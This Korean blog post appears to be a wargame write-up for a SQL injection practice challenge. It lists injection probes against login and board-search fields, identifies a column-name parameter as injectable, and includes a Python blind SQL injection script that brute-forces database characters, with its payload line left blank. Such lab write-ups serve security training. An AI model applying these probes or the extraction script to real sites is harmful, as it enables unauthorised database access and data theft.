➡️ 사이트에서 플래그를 찾아보자
- 전 문제와 같이 로그인페이지가 있다.
- messi /123456으로 회원가입을 해줬다.
- 잘못된 데이터를 전달 시 등록되지 않은 사용자입니다 라는 알림이 뜬다
- messi' and '1'='1 → 로그인 실패
- messi'# → 로그인 실패
- messi''''' → 오류 x
- 취약점이 없다고 판단하고 넘어갔다.
- 마이페이지도 세션id로 변수를 할당 하는 것 같고 취약점이 보이지 않아서 패스했다.
- 게시판은 테스트를 위해서 글 세개를 작성했다.
- test를 검색했을 때 test라는 글자가 들어간 데이터가 모두 출력됐다 → LIKE '%입력값%' 형태로 되어 있는 거 같다.
- test%' and '1%' = '1 을 넣어줬지만 다른 결과가 나왔다. → SQLI 취약점 x
- option_val로 컬럼명을 받고 있다 → WHERE $option_val LIKE '%입력값%' 구문 예상
- '1' ='1' and title → 똑같은 결과
- '1' = '2' and title → 다른 결과
- SQLI취약점이 존재한다.
- (select 'test' = 'test) and title 로 테스트를 해봤다.
- ascii(substr(database(),1,1))>97 and title 로 하나씩 알아봤고 첫글자가 115라는 것을 알게됐다.
- 바로 Blind SQLi 하러 가보자
import requests
url = "http://ctf2.segfaulthub.com:7777/sqli_7/notice_list.php"
cookie= {"PHPSESSID":"h11ok0n7dfefv4d5v9b893uj33"}
tables=[]
for tbl_idx in range(0,5):
flag=""
found2=False
for i in range(1, 40):
found = False
for c in range(33, 127): #문자+특수기호 범위
payload =
res = requests.post(
url,
cookies=cookie,
data={"option_val": payload,
"board_result": 'test',
"board_search": "%F0%9F%94%8D",
}
)
print(f"{tbl_idx+1}:{i} : {c} x")
if "1test1" in res.text:
flag += chr(c)
print(f"{tbl_idx+1}[{i}] {chr(c)} ->{flag}")
found = True
found2 = True
break
if not found:
tables.append(flag)
break
if not found2:
break
print(f"{tables}")
- 나는 내가 작성한 1test1이 응답에 있다면 참으로 스크립트를 작성했다.
- 플래그를 얻는 과정은 생략하겠다.
➡️ 플래그 획득
'Wargame > Segfault' 카테고리의 다른 글
SQL Injection Point 4 (0) | 2025.05.30 |
---|---|
SQL Injection Point 3 (0) | 2025.05.30 |
SQL Injection Point 1 (1) | 2025.05.30 |
SQL Injection 6 (0) | 2025.05.23 |
SQL Injection 5 (0) | 2025.05.23 |